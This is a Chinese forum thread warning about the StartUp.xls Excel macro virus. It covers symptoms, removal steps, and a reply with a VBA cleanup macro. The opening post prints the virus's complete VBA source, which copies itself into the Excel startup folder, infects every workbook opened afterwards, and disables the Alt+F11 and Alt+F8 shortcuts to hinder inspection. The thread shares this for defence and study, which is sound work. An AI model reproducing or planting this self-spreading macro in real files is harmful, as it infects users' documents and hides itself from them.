提醒：近来在论坛上感染StartUp.xls宏病毒。

guzhen9315

提醒：近来在论坛上感染StartUp.xls宏病毒。

中毒现象：excel文件一打开，不管是新建还是打开xls文件，就会自动copy到新建文件或者打开的xls文件。

解药良方：
1、删除以下目录的StartUp.xls文件
C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART\StartUp.xls

2、在打开感染StartUp.xls宏病毒的excel文件时，不启动宏。并删除StartUp模块。


以下为宏病毒代码（不得运行！！！）
-------------------------------------------------------
Sub auto_open1()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
-------------------------------------------------------
Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
-------------------------------------------------------

lb_bn

谢谢楼主提醒，有没有什么破坏性？

guzhen9315

没有什么破坏性，是个良性宏病毒，只是好烦。

不过对研究宏病毒的人，是一个好案例。

lrlxxqxa

谢谢guzhen9315提醒并分享解决方法

chqyz

关键是怎么找到中毒的文件呢

guzhen9315

原帖由 chqyz 于 2011-4-1 16:29 发表
关键是怎么找到中毒的文件呢

从中毒开始，只要你打开过的excel文件，就是中毒了。
一般都是最新打开过、修改过的excel文件，你自己没有修改，但是“宏病毒”帮你修改了。

呵呵，愚人节快乐！

larkzh

小心为妙。

lyhabc

刚刚中了这个宏病毒，确实是很厉害，LZ的解决办法好像不行哦

wangvei

不是楼主说的不行，而是你在某段时间打开过的的文件已经感染了病毒了，楼主只是删除了病毒文件，没有彻底解决这个问题。所以当你再次打开感染了病毒的文件时，那个StartUp.xls又生成了。
解决的办法是：
1、删除C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART\StartUp.xls文件
2、在刚刚删除StartUp.xls文件的文件夹下再新建一个StartUp.xls，并且拷贝下面的代码到这个文件里。
Sub auto_open()
    On Error Resume Next
    Application.ScreenUpdating = False
    ActiveWindow.Visible = False
    n$ = ActiveWorkbook.Name
    Workbooks(n$).Close (False)
    Application.OnSheetActivate = "StartUp.xls!cop"
End Sub
Sub cop()
    On Error Resume Next
    Dim VBC As Object
    Dim Name As String
    'Dim delComponent As VBComponent
    Name = "StartUp"
    For Each book In Workbooks
        Set delComponent = book.VBAProject.VBComponents(Name)
        book.VBAProject.VBComponents.Remove delComponent
    Next
End Sub
就应该好了。

doitbest

谢谢各位的提醒和分享